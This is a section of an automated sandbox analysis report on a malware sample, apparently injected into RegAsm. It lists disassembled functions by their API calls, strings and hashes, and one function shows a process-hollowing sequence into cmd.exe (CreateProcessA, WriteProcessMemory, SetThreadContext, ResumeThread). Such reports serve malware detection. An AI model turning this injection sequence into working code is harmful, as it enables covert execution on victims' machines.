_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C107598
free.MOZGLUE(00000000), ref: 6C1075AC

Part of subcall function 6C12AB89: EnterCriticalSection.KERNEL32(6C17E370,?,?,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284), ref: 6C12AB94
Part of subcall function 6C12AB89: LeaveCriticalSection.KERNEL32(6C17E370,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C12ABD1

Strings

wintrust.dll, xrefs: 6C1072CD
(, xrefs: 6C10768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C1072C8
SHA256, xrefs: 6C106EC0

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 9e4eee2e1549c2ac226c0206a75d0295ed0d502fbd49d5d1dbdf614009213d47
Instruction ID: 4335ad70ce8f5648638d22b2c2db0848fbbc874ef5a0097fe59549ee642f1c66
Opcode Fuzzy Hash: 9e4eee2e1549c2ac226c0206a75d0295ed0d502fbd49d5d1dbdf614009213d47
Instruction Fuzzy Hash: 3052A7B1A002149FEB21DF24CC88BAA77B8EF56708F104199E91997640DF74AF94CFA1

Function 6C130DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C130F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C130F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C130FB7
EnterCriticalSection.KERNEL32(?), ref: 6C130FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C131031
LeaveCriticalSection.KERNEL32(?), ref: 6C1310D0
EnterCriticalSection.KERNEL32(?), ref: 6C13117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C131C39
EnterCriticalSection.KERNEL32(6C17E744), ref: 6C133391
LeaveCriticalSection.KERNEL32(6C17E744), ref: 6C1333CD
LeaveCriticalSection.KERNEL32(?), ref: 6C133431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C133437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C1337BD
Compile-time page size does not divide the runtime one., xrefs: 6C133946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C133793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C133A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C1337A8
MOZ_CRASH(), xrefs: 6C133950
MALLOC_OPTIONS, xrefs: 6C1335FE
<jemalloc>, xrefs: 6C133941, 6C1339F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C1337D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C133559, 6C13382D, 6C133848

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 2127ee8d1dc92d15c274573c071c752069eafdd2fc9c61f9df3ebddc2ea7ba2d
Instruction ID: 838d6e197025bc0fb2a0cf61bff2acb1bc2a17495930c6be2b0d0837319bf110
Opcode Fuzzy Hash: 2127ee8d1dc92d15c274573c071c752069eafdd2fc9c61f9df3ebddc2ea7ba2d
Instruction Fuzzy Hash: E8539B72A057218FD704CF28C540616FBE1BF89328F29C6ADE86D9B791D775E842CB81

Function 6C1534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C15355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C15363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C15373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C15378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C153EE2

Part of subcall function 6C156180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C1561DD
Part of subcall function 6C156180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C15622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C15412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C154157

Part of subcall function 6C156180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C156250
Part of subcall function 6C156180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C156292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C15441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C154448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C15484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C154863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C154878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C154896
free.MOZGLUE ref: 6C15489F

Strings

, xrefs: 6C154CD2

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 1e686573072568e5d409116b3586facc3a25e4f7d04ff1b9536e6c7cddbb13cc
Instruction ID: c08ce70669667c07599c6340c614e2cda5dfeb153752b106565885e220413c81
Opcode Fuzzy Hash: 1e686573072568e5d409116b3586facc3a25e4f7d04ff1b9536e6c7cddbb13cc
Instruction Fuzzy Hash: 0AF24CB4908780CFC721CF29C08469AFBF1FF9A344F518A5ED99997711DB319896CB42

Function 6C1064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C1064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C1064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C106505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C106518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C10652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C10671C
GetCurrentProcess.KERNEL32 ref: 6C106724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C10672F
GetCurrentProcess.KERNEL32 ref: 6C106759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C106764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C106A80
GetSystemInfo.KERNEL32(?), ref: 6C106ABE
__Init_thread_footer.LIBCMT ref: 6C106AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C106AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C106AF7

Strings

nvd3d9wrap.dll, xrefs: 6C106500
nvdxgiwrap.dll, xrefs: 6C106513
user32.dll, xrefs: 6C106526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C106798
_etoured.dll, xrefs: 6C1064ED
detoured.dll, xrefs: 6C1064DA

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 19e8c9101f6def414fb52a4fe50ef71364d692bca927cb0c13b60af67e2f94f7
Instruction ID: b49ae48fa3a5fb713bf3b39324cbfd046766785810a4d0a8f37c9cfd1148cf59
Opcode Fuzzy Hash: 19e8c9101f6def414fb52a4fe50ef71364d692bca927cb0c13b60af67e2f94f7
Instruction Fuzzy Hash: 5AF1D370A0562DCFDB20DF24CD48B9AB7B4AF55318F144299DC19A7B41EB31AAC4CFA0

Function 6C15C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C15C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C15C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C15C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C15C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C15C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C15CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C15CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C15DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C15DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C15DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C15DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C15DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C15E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C15E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C15E472

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: ea4e15fe48ba211f1fd521595124976d9896346eb7a40bddff9e1e5a878e73b9
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: B833DFB1E0021ACFCB04CFA8C8906EDBBF2FF49300F598269D965AB745D735A955CB90

Function 6C10FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C17E7B8), ref: 6C10FF81
LeaveCriticalSection.KERNEL32(6C17E7B8), ref: 6C11022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C110240
EnterCriticalSection.KERNEL32(6C17E768), ref: 6C11025B
LeaveCriticalSection.KERNEL32(6C17E768), ref: 6C11027B

Strings

<jemalloc>, xrefs: 6C110D62, 6C110D76, 6C110DA7
: (malloc) Error in VirtualFree(), xrefs: 6C110D67, 6C110D7B, 6C110DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C10FE99, 6C10FEB7, 6C10FED3, 6C110DB8, 6C110DD3, 6C1119B4

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 8f73cb5b4b33d2193295895decfd651887eb97bcff1ec7542bab50021e66b783
Instruction ID: fddd513109c1496d8895651572483ec02ce2b46b905e2a92b0d9d40dc05dc049
Opcode Fuzzy Hash: 8f73cb5b4b33d2193295895decfd651887eb97bcff1ec7542bab50021e66b783
Instruction Fuzzy Hash: C5C2E271A097418FD714CF28C480716BBE1BF96328F28C67DE4A98BB95D779E841CB81

Function 00415B0B Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 179stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
HeapAlloc.KERNEL32(00000000), ref: 00415B37
wsprintfA.USER32 ref: 00415B50
FindFirstFileA.KERNEL32(?,?), ref: 00415B67
StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
wsprintfA.USER32 ref: 00415BC9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 0041580D: _memset.LIBCMT ref: 00415845
Part of subcall function 0041580D: _memset.LIBCMT ref: 00415856
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6
Part of subcall function 0041580D: StrStrA.SHLWAPI(00000000), ref: 0041596A

FindNextFileA.KERNEL32(?,?), ref: 00415CD8
FindClose.KERNEL32(?), ref: 00415CEC
lstrcatA.KERNEL32(?), ref: 00415D1A
lstrcatA.KERNEL32(?), ref: 00415D2D
lstrlenA.KERNEL32(?), ref: 00415D39
lstrlenA.KERNEL32(?), ref: 00415D56

Strings

K_A, xrefs: 00415DE8
%s\*, xrefs: 00415B4A
%s\%s, xrefs: 00415BC3

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$Findlstrlen$FileHeap_memsetwsprintf$AllocCloseFirstNextProcessSystemTime
String ID: %s\%s$%s\*$K_A
API String ID: 2347508687-1624741228
Opcode ID: 3b8fc9a55eca9fbfea931e155c92c696c023584031aa7e372d314ca30068bdda
Instruction ID: e2c432640f52108aba4e6a181f3c646eb5d5ef822199c15cd4d1700da281ca33
Opcode Fuzzy Hash: 3b8fc9a55eca9fbfea931e155c92c696c023584031aa7e372d314ca30068bdda
Instruction Fuzzy Hash: D4713DB19002289BDF20EB60DD49ACD77B9AF45315F0004EAA609A3151EB76AFC5CF59

Function 6C11ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C11EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C11EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C121695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C121770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C121A3E

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 8d70ac5a621f59bf48804589c04847a058f780a99b5a18e98d24d20391528089
Instruction ID: 4b75b2b2e9898edeae67ff342814e9d84d9730fd2d44fbfd19e546067620298d
Opcode Fuzzy Hash: 8d70ac5a621f59bf48804589c04847a058f780a99b5a18e98d24d20391528089
Instruction Fuzzy Hash: 3BB36975E04219CFCB24CFA8C890A9DB7B2FF49304F2582A9D549AB745D734AD86CF90

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,a-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

C:\Windows\System32\cmd.exe, xrefs: 0040F59B
a-A, xrefs: 0040F550, 0040F620

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: C:\Windows\System32\cmd.exe$a-A
API String ID: 3621800378-431432405
Opcode ID: 553f550da5b378d080edfb789d93bc307e5eea3081f8456d6af6f3d083069809
Instruction ID: 969287927d9098c3ca6ae76a841620f5e8bc9621787df7f5c89cd2a77204cec1
Opcode Fuzzy Hash: 553f550da5b378d080edfb789d93bc307e5eea3081f8456d6af6f3d083069809
Instruction Fuzzy Hash: 67413872A00208AFEB11DFA8DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 6C145600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C145AC3
name, xrefs: 6C145E79, 6C145E8F
ProfileBuffer parse error: %s, xrefs: 6C145AC8, 6C145CBB
data, xrefs: 6C146131
expected a Time entry, xrefs: 6C145CB6
schema, xrefs: 6C14606D

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: c6781e7c9676ff652a45b1cd33e926a5b8141019906370f2aa90cdedf927190a
Instruction ID: 931abb86892e9e1256e716fa78de2f2241ff2b92691d1d85d020cb99c40d6e8d
Opcode Fuzzy Hash: c6781e7c9676ff652a45b1cd33e926a5b8141019906370f2aa90cdedf927190a
Instruction Fuzzy Hash: 82925D71A083418FD724CF29C490B9BB7E1BFC9308F55891DE59A9B751DB30E849CB92

Function 6C137E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C137ECF, 6C138335
data, xrefs: 6C138280, 6C1383E1
(pre-xul), xrefs: 6C137E88
schema, xrefs: 6C1381E3, 6C138311

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 7c42e3bd520bd677a6993d297b388951a1892a6afb30b1ee2dc5b19d060dfac5
Instruction ID: a3f0a421af937544e9b02b175cbf3078a6271a3e44918c472d3ec67b5f753fb8
Opcode Fuzzy Hash: 7c42e3bd520bd677a6993d297b388951a1892a6afb30b1ee2dc5b19d060dfac5
Instruction Fuzzy Hash: 11E170B1B043508FC720CF69884075BFBE9BB85318F25892DE899E7790DB74DD498B91

Function 6C11D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C17E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D4F2
LeaveCriticalSection.KERNEL32(6C17E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D50B

Part of subcall function 6C0FCFE0: EnterCriticalSection.KERNEL32(6C17E784), ref: 6C0FCFF6
Part of subcall function 6C0FCFE0: LeaveCriticalSection.KERNEL32(6C17E784), ref: 6C0FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D52E
EnterCriticalSection.KERNEL32(6C17E7DC), ref: 6C11D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C11D6A6
